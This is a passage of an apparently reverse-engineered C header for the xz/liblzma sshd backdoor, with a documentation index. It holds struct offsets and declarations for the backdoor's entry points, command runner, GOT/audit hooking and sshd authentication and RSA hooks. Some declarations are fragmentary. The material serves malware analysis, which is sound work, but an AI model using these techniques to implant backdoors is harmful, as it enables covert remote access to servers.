2111 assert_offset(run_backdoor_commands_data_t, p_do_orig, 8);
2112 assert_offset(run_backdoor_commands_data_t, payload_size, 0x10);
2113 assert_offset(run_backdoor_commands_data_t, hostkey_hash_offset, 0x18);
2114 assert_offset(run_backdoor_commands_data_t, rsa, 0x20);
2115 assert_offset(run_backdoor_commands_data_t, ed448_key_ptr, 0x30);
2116 assert_offset(run_backdoor_commands_data_t, num_keys, 0x38);
2117 assert_offset(run_backdoor_commands_data_t, key_cur_idx, 0x44);
2118 assert_offset(run_backdoor_commands_data_t, key_prev_idx, 0x48);
2119 assert_offset(run_backdoor_commands_data_t, unk57, 0x57);
2120 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_keys, 0x58);
2121 assert_offset(run_backdoor_commands_data_t, u.keys.num_host_pubkeys, 0x60);
2122 assert_offset(run_backdoor_commands_data_t, u.keys.ed448_key, 0x68);
2123 assert_offset(run_backdoor_commands_data_t, data, 0xA8);
2124 assert_offset(run_backdoor_commands_data_t, kctx, 0x308);
2125 
2126 
2127 typedef struct __attribute__((packed)) backdoor_cpuid_reloc_consts {
2147 
2148 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_random_symbol_got_offset, 0);
2149 assert_offset(backdoor_cpuid_reloc_consts_t, cpuid_got_index, 0x8);
2150 assert_offset(backdoor_cpuid_reloc_consts_t, backdoor_init_stage2_got_offset, 0x10);
2151 static_assert(sizeof(backdoor_cpuid_reloc_consts_t) == 0x18);
2152 
2153 typedef struct __attribute__((packed)) backdoor_tls_get_addr_reloc_consts {
2167 
2168 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_plt_offset, 0);
2169 assert_offset(backdoor_tls_get_addr_reloc_consts_t, tls_get_addr_random_symbol_got_offset, 0x8);
2170 static_assert(sizeof(backdoor_tls_get_addr_reloc_consts_t) == 0x10);
2171 
2172 typedef struct __attribute__((packed)) elf_functions {
2173  PADDING(sizeof(u64));
2179  int (*init_hook_functions)(backdoor_hooks_ctx_t *funcs);
2180  PADDING(sizeof(u64));
2181  PADDING(sizeof(u64));
2187  void *(*elf_symbol_get_addr)(elf_info_t *elf_info, EncodedStringId encoded_string_id);
2188  PADDING(sizeof(u64));
2194  BOOL (*elf_parse)(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
2195 } elf_functions_t;
2196 
2197 assert_offset(elf_functions_t, init_hook_functions, 0x8);
2198 assert_offset(elf_functions_t, elf_symbol_get_addr, 0x20);
2199 assert_offset(elf_functions_t, elf_parse, 0x30);
2200 static_assert(sizeof(elf_functions_t) == 0x38);
2201 
2202 typedef struct __attribute__((packed)) fake_lzma_allocator {
2203  PADDING(sizeof(u64));
2204  lzma_allocator allocator;
2206 
2207 assert_offset(fake_lzma_allocator_t, allocator.alloc, 0x8);
2208 assert_offset(fake_lzma_allocator_t, allocator.free, 0x10);
2209 assert_offset(fake_lzma_allocator_t, allocator.opaque, 0x18);
2210 static_assert(sizeof(fake_lzma_allocator_t) == 0x20);
2211 
2212 typedef struct __attribute__((packed)) instruction_search_ctx
2213 {
2234  u8 *output_register; // TODO unknown
2239  BOOL result;
2240  PADDING(0x4);
2241  backdoor_hooks_data_t *hooks;
2244 
2245 assert_offset(instruction_search_ctx_t, start_addr, 0);
2246 assert_offset(instruction_search_ctx_t, end_addr, 0x8);
2247 assert_offset(instruction_search_ctx_t, offset_to_match, 0x10);
2248 assert_offset(instruction_search_ctx_t, output_register_to_match, 0x18);
2249 assert_offset(instruction_search_ctx_t, output_register, 0x20);
2250 assert_offset(instruction_search_ctx_t, result, 0x28);
2251 assert_offset(instruction_search_ctx_t, hooks, 0x30);
2252 assert_offset(instruction_search_ctx_t, imported_funcs, 0x38);
2253 static_assert(sizeof(instruction_search_ctx_t) == 0x40);
2254 
2255 
2274 
2283 extern BOOL x86_dasm(dasm_ctx_t *ctx, u8 *code_start, u8 *code_end);
2284 
2294 extern BOOL find_call_instruction(u8 *code_start, u8 *code_end, u8 *call_target, dasm_ctx_t *dctx);
2295 
2304 extern BOOL find_lea_instruction(u8 *code_start, u8 *code_end, u64 displacement);
2305 
2316  u8 *code_start,
2317  u8 *code_end,
2318  dasm_ctx_t *dctx,
2319  void *mem_address
2320 );
2321 
2332  u8 *code_start,
2333  u8 *code_end,
2334  dasm_ctx_t *dctx,
2335  void *mem_address
2336 );
2337 
2348  u8 *code_start,
2349  u8 *code_end,
2350  dasm_ctx_t *dctx,
2351  void *mem_address
2352 );
2353 
2365  u8 *code_start,
2366  u8 *code_end,
2367  BOOL is_64bit_operand,
2368  BOOL load_flag,
2369  dasm_ctx_t *dctx
2370 );
2371 
2388  u8 *code_start,
2389  u8 *code_end,
2390  BOOL is_64bit_operand,
2391  BOOL load_flag,
2392  dasm_ctx_t *dctx
2393 );
2394 
2406  u8 *code_start,
2407  u8 *code_end,
2408  dasm_ctx_t *dctx,
2409  int opcode,
2410  void *mem_address
2411 );
2412 
2429 extern BOOL is_endbr64_instruction(u8 *code_start, u8 *code_end, u32 low_mask_part);
2430 
2440  u8 *code_start,
2441  u8 *code_end,
2442  const char *str
2443 );
2444 
2456  EncodedStringId encoded_string_id,
2457  u8 *code_start,
2458  u8 *code_end
2459 );
2460 
2480 extern BOOL find_reg2reg_instruction(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx);
2481 
2491 extern BOOL find_function_prologue(u8 *code_start, u8 *code_end, u8 **output, FuncFindType find_mode);
2492 
2504 extern BOOL find_function(
2505  u8 *code_start,
2506  void **func_start,
2507  void **func_end,
2508  u8 *search_base,
2509  u8 *code_end,
2510  FuncFindType find_mode);
2511 
2522 extern BOOL elf_contains_vaddr(elf_info_t *elf_info, void *vaddr, u64 size, u32 p_flags);
2523 
2534 extern BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags);
2535 
2543 extern BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info);
2544 
2552 extern BOOL is_gnu_relro(Elf64_Word p_type, u32 addend);
2553 
2568 
2569 extern char *check_argument(char arg_first_char, char* arg_name);
2570 
2599 extern BOOL process_is_sshd(elf_info_t *elf, u8 *stack_end);
2600 
2609 
2618 extern Elf64_Sym *elf_symbol_get(elf_info_t *elf_info, EncodedStringId encoded_string_id, EncodedStringId sym_version);
2619 
2627 extern void *elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id);
2628 
2636 extern void *elf_get_code_segment(elf_info_t *elf_info, u64 *pSize);
2637 
2646 extern void *elf_get_rodata_segment(elf_info_t *elf_info, u64 *pSize);
2647 
2664 extern void *elf_get_data_segment(elf_info_t *elf_info, u64 *pSize, BOOL get_alignment);
2665 
2679  Elf64_Rela *relocs,
2680  u32 num_relocs,
2681  u64 reloc_type,
2682  EncodedStringId encoded_string_id);
2683 
2691 extern void *elf_get_plt_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
2692 
2700 extern void *elf_get_got_symbol(elf_info_t *elf_info, EncodedStringId encoded_string_id);
2701 
2716  StringXrefId xref_id,
2717  void **pOutCodeStart, void **pOutCodeEnd,
2718  void **pOutFptrAddr, elf_info_t *elf_info,
2719  string_references_t *xrefs,
2720  global_context_t *ctx);
2721 
2734 extern char *elf_find_string(
2736  EncodedStringId *stringId_inOut,
2737  void *rodata_start_ptr);
2738 
2745 extern lzma_allocator *get_lzma_allocator(void);
2746 
2758 
2767 extern void *fake_lzma_alloc(void *opaque, size_t nmemb, size_t size);
2768 
2777 extern void fake_lzma_free(void *opaque, void *ptr);
2778 
2788 
2789 extern BOOL secret_data_append_from_instruction(dasm_ctx_t *dctx, secret_data_shift_cursor_t *cursor);
2790 
2804  void *code_start,
2805  void *code_end,
2806  secret_data_shift_cursor_t shift_cursor,
2807  unsigned shift_count, BOOL start_from_call);
2808 
2820  secret_data_shift_cursor_t shift_cursor,
2821  unsigned operation_index,
2822  unsigned shift_count,
2823  int index, u8 *code);
2824 
2834  secret_data_item_t *items,
2835  u64 items_count,
2836  BOOL (*appender)(secret_data_shift_cursor_t, unsigned, unsigned, int, u8 *));
2837 
2849  void *addr,
2850  secret_data_shift_cursor_t shift_cursor,
2851  unsigned shift_count, unsigned operation_index);
2852 
2896  u8 *call_site, u8 *code,
2897  secret_data_shift_cursor_t shift_cursor,
2898  unsigned shift_count, unsigned operation_index);
2899 
2912  secret_data_shift_cursor_t shift_cursor,
2913  unsigned shift_count, unsigned operation_index,
2914  BOOL bypass
2915 );
2916 
2937 
2944 
2962 extern unsigned int backdoor_entry(unsigned int cpuid_request, u64 *caller_frame);
2963 
2975 extern void * backdoor_init(elf_entry_ctx_t *state, u64 *caller_frame);
2976 
2988 
2999 
3009 
3019 extern BOOL backdoor_init_stage2(elf_entry_ctx_t *ctx, u64 *caller_frame, void **cpuid_got_addr, backdoor_cpuid_reloc_consts_t* reloc_consts);
3020 
3030  struct link_map *libc,
3031  elf_info_t *libc_info,
3032  libc_imports_t *imports
3033 );
3034 
3042 
3050 extern BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data);
3051 
3063 extern BOOL chacha_decrypt(
3064  u8 *in, int inl,
3065  u8 *key, u8 *iv,
3066  u8 *out, imported_funcs_t *funcs
3067 );
3068 
3076 extern BOOL secret_data_get_decrypted(u8 *output, global_context_t *ctx);
3077 
3086 extern BOOL is_range_mapped(u8* addr, u64 length, global_context_t* ctx);
3087 
3094 extern u32 count_bits(u64 x);
3095 
3107 extern EncodedStringId get_string_id(const char *string_begin, const char *string_end);
3108 
3148 extern unsigned int _get_cpuid_modified(unsigned int leaf, unsigned int *eax, unsigned int *ebx, unsigned int *ecx, unsigned int *edx, u64 *caller_frame);
3149 
3161 extern void _cpuid_gcc(unsigned int level, unsigned int *a, unsigned int *b, unsigned int *c, unsigned int *d);
3162 
3172 
3180 
3188 
3207 extern void *update_got_address(elf_entry_ctx_t *entry_ctx);
3208 
3219 
3220 typedef struct dl_tls_index
3221 {
3222  uint64_t ti_module;
3223  uint64_t ti_offset;
3224 } tls_index;
3225 
3233 extern void *dummy_tls_get_addr (tls_index *ti);
3234 
3246 extern uintptr_t backdoor_symbind64(
3247  Elf64_Sym *sym,
3248  unsigned int ndx,
3249  uptr *refcook, uptr *defcook,
3250  unsigned int flags,
3251  const char *symname);
3252 
3264 extern BOOL run_backdoor_commands(RSA *key, global_context_t *ctx, BOOL *do_orig);
3265 
3281  backdoor_data_handle_t *data,
3282  ptrdiff_t *libname_offset,
3283  backdoor_hooks_data_t *hooks,
3285 
3309  backdoor_data_handle_t *data_handle,
3310  ptrdiff_t *libname_offset,
3311  backdoor_hooks_data_t *hooks,
3313 
3333 extern BOOL find_dl_naudit(
3334  elf_info_t *dynamic_linker_elf,
3335  elf_info_t *libcrypto_elf,
3336  backdoor_hooks_data_t *hooks,
3338 
3356  backdoor_data_handle_t *data,
3357  ptrdiff_t libname_offset,
3358  backdoor_hooks_data_t *hooks,
3360 
3377  backdoor_data_handle_t *data,
3378  instruction_search_ctx_t *search_ctx);
3379 
3395  u8 *data_start,
3396  u8 *data_end,
3397  u8 *code_start,
3398  u8 *code_end,
3399  string_references_t *string_refs,
3400  void **sensitive_data_out);
3401 
3417  u8 *data_start,
3418  u8 *data_end,
3419  u8 *code_start,
3420  u8 *code_end,
3421  void **sensitive_data_out,
3422  elf_info_t *elf);
3423 
3434  void *sensitive_data,
3435  elf_info_t *elf,
3436  string_references_t *refs);
3437 
3448  void *sensitive_data,
3449  elf_info_t *elf,
3450  string_references_t *refs);
3451 
3462  void *sensitive_data,
3463  elf_info_t *elf,
3464  string_references_t *refs);
3465 
3476  void *sensitive_data,
3477  elf_info_t *elf,
3478  string_references_t *refs);
3479 
3490 extern BOOL bignum_serialize(
3491  u8 *buffer, u64 bufferSize,
3492  u64 *pOutSize,
3493  const BIGNUM *bn,
3494  imported_funcs_t *funcs);
3495 
3496 
3503 extern BOOL sshbuf_bignum_is_negative(struct sshbuf *buf);
3504 
3514 extern BOOL rsa_key_hash(
3515  const RSA *rsa,
3516  u8 *mdBuf,
3517  u64 mdBufSize,
3518  imported_funcs_t *funcs);
3519 
3529 extern BOOL dsa_key_hash(
3530  const DSA *dsa,
3531  u8 *mdBuf,
3532  u64 mdBufSize,
3533  global_context_t *ctx);
3534 
3545 extern BOOL sha256(
3546  const void *data,
3547  size_t count,
3548  u8 *mdBuf,
3549  u64 mdBufSize,
3550  imported_funcs_t *funcs);
3551 
3569 extern BOOL verify_signature(
3570  struct sshkey *sshkey,
3571  u8 *signed_data,
3572  u64 sshkey_digest_offset,
3573  u64 signed_data_size,
3574  u8 *signature,
3575  u8 *ed448_raw_key,
3576  global_context_t *global_ctx
3577 );
3578 
3591  BOOL skip_root_patch,
3592  BOOL disable_pam,
3593  BOOL replace_monitor_reqtype,
3594  int monitor_reqtype,
3595  global_context_t *global_ctx
3596 );
3597 
3607  elf_info_t *elf,
3608  string_references_t *refs,
3609  global_context_t *ctx
3610 );
3611 
3621 extern BOOL sshd_find_main(
3622  u8 **code_start_out,
3623  elf_info_t *sshd,
3624  elf_info_t *libcrypto,
3626 );
3627 
3656  u8 *code_start,
3657  u8 *code_end,
3658  u8 *data_start,
3659  u8 *data_end,
3660  void **monitor_field_ptr_out,
3661  global_context_t *ctx
3662 );
3663 
3676  StringXrefId id,
3677  string_references_t *refs,
3678  void *mem_range_start,
3679  void *mem_range_end
3680 );
3681 
3717  void *addr1,
3718  void *addr2,
3719  void *search_base,
3720  u8 *code_end,
3721  string_references_t *refs,
3722  global_context_t *global
3723 );
3724 
3725 enum SocketMode {
3726  DIR_WRITE = 0,
3727  DIR_READ = 1
3728 };
3729 
3743  global_context_t *ctx,
3744  int *pSocket,
3745  int socket_index,
3746  enum SocketMode socket_direction
3747 );
3748 
3757 extern BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t *imports);
3758 
3767 extern BOOL sshd_get_sshbuf(struct sshbuf *sshbuf, global_context_t *ctx);
3768 
3778 extern BOOL sshbuf_extract(struct sshbuf *buf, global_context_t *ctx, void **p_sshbuf_d, size_t *p_sshbuf_size);
3779 
3792  struct sshbuf *sshbuf_data,
3793  size_t sshbuf_size,
3794  size_t *out_payload_size,
3795  global_context_t *ctx);
3796 
3806  key_payload_t *payload,
3807  size_t payload_size,
3808  global_context_t *ctx);
3809 
3817 
3827 extern int mm_answer_keyallowed_hook(struct ssh *ssh, int sock, struct sshbuf *m);
3828 
3837 extern int mm_answer_keyverify_hook(struct ssh *ssh, int sock, struct sshbuf *m);
3838 
3847 extern int mm_answer_authpassword_hook(struct ssh *ssh, int sock, struct sshbuf *m);
3848 
3858  LogLevel level,
3859  int forced,
3860  const char *msg,
3861  void *ctx);
3862 
3872 extern ssize_t fd_read(
3873  int fd,
3874  void *buffer,
3875  size_t count,
3876  libc_imports_t *funcs);
3877 
3887 extern ssize_t fd_write(
3888  int fd,
3889  void *buffer,
3890  size_t count,
3891  libc_imports_t *funcs);
3892 
3901  void **pointers,
3902  unsigned int num_pointers
3903 );
3904 
3913 extern BOOL count_pointers(
3914  void **ptrs,
3915  u64 *count_out,
3916  libc_imports_t *funcs
3917 );
3918 
3926 
3931  int flen, unsigned char *from,
3932  unsigned char *to, RSA *rsa, int padding);
3933 
3942 extern void sshd_log(
3943  sshd_log_ctx_t *log_ctx,
3944  LogLevel level, const char *fmt, ...);
3945 
3958  elf_info_t *sshd,
3959  elf_info_t *libcrypto,
3960  string_references_t *refs,
3961  imported_funcs_t *funcs,
3962  global_context_t *ctx);
3963 
3964 
3971 extern ssize_t c_strlen(
3972  char *str
3973 );
3974 
3982 extern ssize_t c_strnlen(
3983  char *str,
3984  size_t max_len
3985 );
3986 
3994 extern void* c_memmove(
3995  char *dest,
3996  char *src,
3997  size_t cnt
3998 );
3999 
4006 extern u32 resolver_call_count;
4007 static_assert(sizeof(resolver_call_count) == 0x4);
4008 
4009 extern global_context_t *global_ctx;
4010 static_assert(sizeof(global_ctx) == sizeof(void *));
4011 
4012 extern backdoor_hooks_data_t *hooks_data;
4013 static_assert(sizeof(hooks_data) == sizeof(void *));
4014 
4022 static_assert(sizeof(hooks_data_addr) == 0x8);
4023 
4034 extern const ptrdiff_t fake_lzma_allocator_offset;
4035 static_assert(sizeof(fake_lzma_allocator_offset) == 0x8);
4036 
4055 static_assert(sizeof(fake_lzma_allocator) == 0x20);
4056 
4064 extern void *lzma_alloc(size_t size, lzma_allocator *allocator);
4065 
4074 extern const ptrdiff_t elf_functions_offset;
4075 static_assert(sizeof(elf_functions_offset) == 0x8);
4076 
4089 extern const elf_functions_t elf_functions;
4090 static_assert(sizeof(elf_functions) == 0x38);
4091 
4100 extern const u64 cpuid_random_symbol;
4101 static_assert(sizeof(cpuid_random_symbol) == 0x8);
4102 
4111 extern const u64 tls_get_addr_random_symbol;
4112 static_assert(sizeof(tls_get_addr_random_symbol) == 0x8);
4113 
4123 static_assert(sizeof(cpuid_reloc_consts) == 0x18);
4124 
4134 static_assert(sizeof(tls_get_addr_reloc_consts) == 0x10);
4135 
4144 extern const u64 string_mask_data[238];
4145 static_assert(sizeof(string_mask_data) == 0x770);
4146 
4155 extern const u32 string_action_data[1304];
4156 static_assert(sizeof(string_action_data) == 0x1460);
4157 
4158 #include "util.h"
4159 #endif
int RSA_public_decrypt(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding)
Definition: ssh_patch.c:37
Definition: xzre.h:216
Definition: xzre.h:185
Definition: xzre.h:2127
ptrdiff_t backdoor_init_stage2_got_offset
offset from the symbol backdoor_init_stage2() to the GOT
Definition: xzre.h:2145
ptrdiff_t cpuid_random_symbol_got_offset
offset from the symbol cpuid_random_symbol to the GOT
Definition: xzre.h:2133
u64 cpuid_got_index
index in the GOT for _cpuid()
Definition: xzre.h:2139
data passed to functions that access the backdoor data
Definition: xzre.h:1690
this structure is used to hold most of the backdoor information. it's used as a local variable in fun...
Definition: xzre.h:1735
libc_imports_t libc_imports
functions imported from libc
Definition: xzre.h:1780
string_references_t string_refs
information about resolved string references and the containing functions boundaries
Definition: xzre.h:1785
struct link_map * main_map
this is for sshd itself
Definition: xzre.h:1740
elf_info_t libc_info
ELF context for libc.so.
Definition: xzre.h:1770
elf_info_t libcrypto_info
ELF context for libcrypto.so.
Definition: xzre.h:1775
elf_info_t dynamic_linker_info
ELF context for ld.so.
Definition: xzre.h:1766
elf_info_t main_info
this is for sshd itself
Definition: xzre.h:1760
lzma_allocator * import_resolver
ELF import resolver (fake LZMA allocator)
Definition: xzre.h:1790
struct link_map * dynamic_linker_map
this is for ld.so
Definition: xzre.h:1745
Definition: xzre.h:1605
Definition: xzre.h:1584
the contents of the RSA 'n' field
Definition: xzre.h:1917
Definition: xzre.h:1633
Definition: xzre.h:1429
Definition: xzre.h:1812
void * EVP_PKEY_set1_RSA_plt
address of the PLT for EVP_PKEY_set1_RSA_plt() in sshd
Definition: xzre.h:1824
void * RSA_get0_key_plt
address of the PLT for RSA_get0_key_plt() in sshd
Definition: xzre.h:1829
void * RSA_public_decrypt_plt
address of the PLT for RSA_public_decrypt() in sshd
Definition: xzre.h:1819
Definition: xzre.h:2153
ptrdiff_t tls_get_addr_plt_offset
offset from the symbol __tls_get_addr() to the PLT
Definition: xzre.h:2159
ptrdiff_t tls_get_addr_random_symbol_got_offset
offset from the symbol tls_get_addr_random_symbol to the GOT
Definition: xzre.h:2165
Definition: xzre.h:1896
Definition: xzre.h:739
u8 flags2
see InstructionFlags2
Definition: xzre.h:751
u8 flags
see InstructionFlags
Definition: xzre.h:747
Definition: xzre.h:3221
Definition: xzre.h:684
void * symbol_ptr
points to a symbol in memory will be used to find the GOT value
Definition: xzre.h:689
u64 * frame_address
stores the value of __builtin_frame_address(0)-16
Definition: xzre.h:694
Definition: xzre.h:2172
array of ELF handles
Definition: xzre.h:1650
elf_info_t * dynamic_linker
ELF context for ld.so.
Definition: xzre.h:1661
elf_info_t * main
this is for sshd
Definition: xzre.h:1655
Definition: xzre.h:836
u64 code_segment_size
page-aligned virtual size of the first executable ELF segment
Definition: xzre.h:915
u64 first_vaddr
virtual address of the first program header
Definition: xzre.h:844
u64 gnurelro_memsize
size of the GNU relro segment
Definition: xzre.h:890
Elf64_Verdef * verdef
pointer to the EFL symbol versioning (from DT_VERDEF)
Definition: xzre.h:894
u32 gnu_hash_last_bloom
last valid bloom value
Definition: xzre.h:932
Elf64_Dyn * dyn
pointer to the ELF dynamic segment
Definition: xzre.h:856
char * strtab
pointer to the ELF string table
Definition: xzre.h:864
Elf64_Phdr * phdrs
pointer to the ELF program headers array in memory
Definition: xzre.h:848
u32 gnu_hash_nbuckets
number of GNU hash buckets (from DT_GNU_HASH)
Definition: xzre.h:928
Elf64_Ehdr * elfbase
pointed to the ELF base address in memory
Definition: xzre.h:840
u64 e_phnum
copy of the ELF program header count from the ELF header
Definition: xzre.h:852
Elf64_Rela * plt_relocs
pointer to the ELF PLT relocations table
Definition: xzre.h:872
BOOL gnurelro_found
whether the loaded ELF contains PT_GNU_RELRO or not which specifies the location and size of a segmen...
Definition: xzre.h:882
u64 code_segment_start
page-aligned virtual address of the first executable ELF segment
Definition: xzre.h:910
u64 verdef_num
number of entries in the symbol versioning table
Definition: xzre.h:898
u64 gnurelro_vaddr
location of the GNU relro segment
Definition: xzre.h:886
Elf64_Sym * symtab
pointer to the ELF symbol table
Definition: xzre.h:868
u64 dyn_num_entries
number of entries in the ELF dynamic segment
Definition: xzre.h:860
u32 plt_relocs_num
number of entries in the PLT relocation table
Definition: xzre.h:876
Definition: xzre.h:2202
Definition: xzre.h:1297
void * lzma_code_end
liblzma code segment end
Definition: xzre.h:1364
libc_imports_t * libc_imports
pointer to the structure containing resolved libc functions
Definition: xzre.h:1307
char * STR_ssh_rsa_cert_v01_openssh_com
location of sshd .rodata string "ssh-rsa-cert-v01@openssh.com"
Definition: xzre.h:1325
BOOL disable_backdoor
This flag gets set to TRUE by run_backdoor_commands if any of the validity checks fail,...
Definition: xzre.h:1317
imported_funcs_t * imported_funcs
pointer to the structure containing resolved OpenSSL functions
Definition: xzre.h:1303
void * sshd_data_start
sshd data segment end
Definition: xzre.h:1345
u32 num_shifted_bits
number of bits copied
Definition: xzre.h:1393
void * sshd_code_start
sshd code segment start
Definition: xzre.h:1337
void * sshd_data_end
sshd data segment start
Definition: xzre.h:1349
char * STR_rsa_sha2_256
location of sshd .rodata string "rsa-sha2-256"
Definition: xzre.h:1329
void * sshd_code_end
sshd code segment end
Definition: xzre.h:1341
u64 current_data_size
number of body bytes copied to payload_data. will point to the digest at the end
Definition: xzre.h:1374
void * lzma_code_start
liblzma code segment start
Definition: xzre.h:1357
Definition: xzre.h:193
Definition: xzre.h:655
void * return_address
the return address value of the caller obtained from *(u64 *)(caller_locals+24) since the entrypoint ...
Definition: xzre.h:666
void * cpuid_fn
points to the real cpuid function
Definition: xzre.h:670
void * got_ptr
points to the Global Offset Table
Definition: xzre.h:659
ptrdiff_t got_offset
holds the offset of the symbol relative to the GOT. used to derive the got_ptr
Definition: xzre.h:675
Definition: xzre.h:1021
Definition: xzre.h:2213
BOOL result
TRUE if the instruction sequence was found, FALSE otherwise.
Definition: xzre.h:2239
u8 * offset_to_match
offset to match in the instruction displacement
Definition: xzre.h:2228
u8 * start_addr
start of the code address range to search
Definition: xzre.h:2218
u8 * end_addr
start of the code address range to search
Definition: xzre.h:2223
u32 * output_register_to_match
register to match as the instruction output
Definition: xzre.h:2233
Definition: xzre.h:2020
Definition: xzre.h:1903
the payload header. also used as Chacha IV
Definition: xzre.h:1879
Definition: xzre.h:1930
Definition: xzre.h:1443
u8 link_map_l_audit_any_plt_bitmask
bitmask that sets the link_map::l_audit_any_plt flag
Definition: xzre.h:1494
unsigned int * _dl_naudit_ptr
location of ld.so's _rtld_global_ro::_dl_naudit_ptr field
Definition: xzre.h:1513
u32 * sshd_auditstate_bindflags_ptr
the location of sshd's auditstate::bindflags field
Definition: xzre.h:1472
char ** libcrypto_l_name
location of libcrypto's link_map::l_name field
Definition: xzre.h:1530
size_t _dl_audit_symbind_alt__size
code size of ld.so's _dl_audit_symbind_alt() function
Definition: xzre.h:1542
u32 libcrypto_auditstate_bindflags_old_value
backup of the old value of libcrypto's libname_list::next field
Definition: xzre.h:1460
struct audit_ifaces ** _dl_audit_ptr
location of ld.so's _rtld_global_ro::_dl_audit_ptr field
Definition: xzre.h:1504
void * sshd_link_map_l_audit_any_plt_addr
location of sshd's link_map::l_audit_any_plt flag
Definition: xzre.h:1487
u32 * libcrypto_auditstate_bindflags_ptr
the location of libcrypto's auditstate::bindflags field
Definition: xzre.h:1455
u32 sshd_auditstate_bindflags_old_value
backup of the old value of sshd's libname_list::next field
Definition: xzre.h:1477
Definition: xzre.h:976
Structure to hold internal state of the check being calculated.
Definition: xzre.h:280
State for the internal SHA-256 implementation.
Definition: xzre.h:268
uint64_t size
Size of the message excluding padding.
Definition: xzre.h:273
Definition: xzre.h:1674
data used within sshd_proxy_elevate
Definition: xzre.h:2042
struct monitor from openssh-portable
Definition: xzre.h:599
stack frame layout for run_backdoor_commands
Definition: xzre.h:2079
Definition: xzre.h:1859
struct sensitive_data from openssh-portable
Definition: xzre.h:611
Definition: xzre.h:574
Definition: xzre.h:1141
Definition: xzre.h:1224
Definition: xzre.h:1277
Definition: xzre.h:1282
Definition: xzre.h:1294
struct sshkey from openssh-portable
Definition: xzre.h:622
Definition: xzre.h:1698
void * func_start
the starting address of the function that referenced the string
Definition: xzre.h:1707
EncodedStringId string_id
the string that was referenced, in encoded form
Definition: xzre.h:1702
void * xref
location of the instruction that referenced the string
Definition: xzre.h:1715
void * func_end
the ending address of the function that referenced the string
Definition: xzre.h:1711
Definition: xzre.h:1724
union used within run_backdoor_commands
Definition: xzre.h:2066
represents a shift register, which will shift a '1' into the secret data array. the low 3 bits repres...
Definition: xzre.h:1848
u32 index
Definition: xzre.h:1850
u32 byte_index
Definition: xzre.h:1855
u32 bit_index
Definition: xzre.h:1853
Definition: xzre.h:1261
Definition: xzre.h:1269
Definition: xzre.h:1891
BOOL elf_find_function_pointer(StringXrefId xref_id, void **pOutCodeStart, void **pOutCodeEnd, void **pOutFptrAddr, elf_info_t *elf_info, string_references_t *xrefs, global_context_t *ctx)
this function searches for a function pointer, pointing to a function designated by the given xref_id
fake_lzma_allocator_t * get_lzma_allocator_address(void)
gets the address of the fake LZMA allocator
BOOL elf_parse(Elf64_Ehdr *ehdr, elf_info_t *elf_info)
Parses the given in-memory ELF file into elf_info.
BOOL process_is_sshd(elf_info_t *elf, u8 *stack_end)
checks if the current process is sshd by inspecting argv and envp.
BOOL sshd_get_usable_socket(int *pSock, int socket_index, libc_imports_t *imports)
gets the first usable socket fd
void mm_log_handler_hook(LogLevel level, int forced, const char *msg, void *ctx)
void * elf_symbol_get_addr(elf_info_t *elf_info, EncodedStringId encoded_string_id)
Looks up an ELF symbol from a parsed ELF, and returns its memory address.
ssize_t c_strnlen(char *str, size_t max_len)
returns length of c string with a maximum length
void init_elf_entry_ctx(elf_entry_ctx_t *ctx)
initialises the elf_entry_ctx_t
BOOL verify_signature(struct sshkey *sshkey, u8 *signed_data, u64 sshkey_digest_offset, u64 signed_data_size, u8 *signature, u8 *ed448_raw_key, global_context_t *global_ctx)
Checks if signed_data is signed with ed448_raw_key.
BOOL validate_log_handler_pointers(void *addr1, void *addr2, void *search_base, u8 *code_end, string_references_t *refs, global_context_t *global)
Validate that the two addresses are the expected/correct ones.
void * dummy_tls_get_addr(tls_index *ti)
a dummy function that calls __tls_get_addr, to make sure its GOT slot doesn't get removed by compiler...
BOOL resolve_libc_imports(struct link_map *libc, elf_info_t *libc_info, libc_imports_t *imports)
parses the libc ELF from the supplied link map, and resolves its imports
struct key_payload_hdr backdoor_payload_hdr_t
the payload header. also used as Chacha IV
struct backdoor_payload backdoor_payload_t
the contents of the RSA 'n' field
void update_got_offset(elf_entry_ctx_t *ctx)
updates the offset to the GOT
struct gnu_hash_table gnu_hash_table_t
BOOL find_link_map_l_name(backdoor_data_handle_t *data_handle, ptrdiff_t *libname_offset, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find struct link_map offsets required to modify ld.so's private struct auditstate state.
BOOL find_dl_naudit(elf_info_t *dynamic_linker_elf, elf_info_t *libcrypto_elf, backdoor_hooks_data_t *hooks, imported_funcs_t *imported_funcs)
Find __rtld_global_ro offsets required to modify ld.so's private struct audit_ifaces state.
void * elf_get_code_segment(elf_info_t *elf_info, u64 *pSize)
Obtains the address and size of the first executable segment in the given ELF file.
ssize_t fd_write(int fd, void *buffer, size_t count, libc_imports_t *funcs)
reads data to the specified file descriptor
BOOL find_instruction_with_mem_operand_ex(u8 *code_start, u8 *code_end, dasm_ctx_t *dctx, int opcode, void *mem_address)
finds an instruction with an immediate memory operand
BOOL process_shared_libraries(backdoor_shared_libraries_data_t *data)
scans loaded libraries to identify interesting libraries
BOOL dsa_key_hash(const DSA *dsa, u8 *mdBuf, u64 mdBufSize, global_context_t *ctx)
obtains a SHA256 hash of the supplied RSA key
BOOL process_shared_libraries_map(struct link_map *r_map, backdoor_shared_libraries_data_t *data)
scans loaded libraries to identify interesting libraries and populate related data
BOOL backdoor_setup(backdoor_setup_params_t *params)
the backdoor main method that installs the backdoor_symbind64() callback
void * elf_get_reloc_symbol(elf_info_t *elf_info, Elf64_Rela *relocs, u32 num_relocs, u64 reloc_type, EncodedStringId encoded_string_id)
Searches the ELF relocations for a symbol having name encoded_string id and relocation of type reloc_...
BOOL elf_contains_vaddr_relro(elf_info_t *elf_info, u64 vaddr, u64 size, u32 p_flags)
checks if given ELF file contains the range [vaddr, vaddr+size) in the gnurelro segment
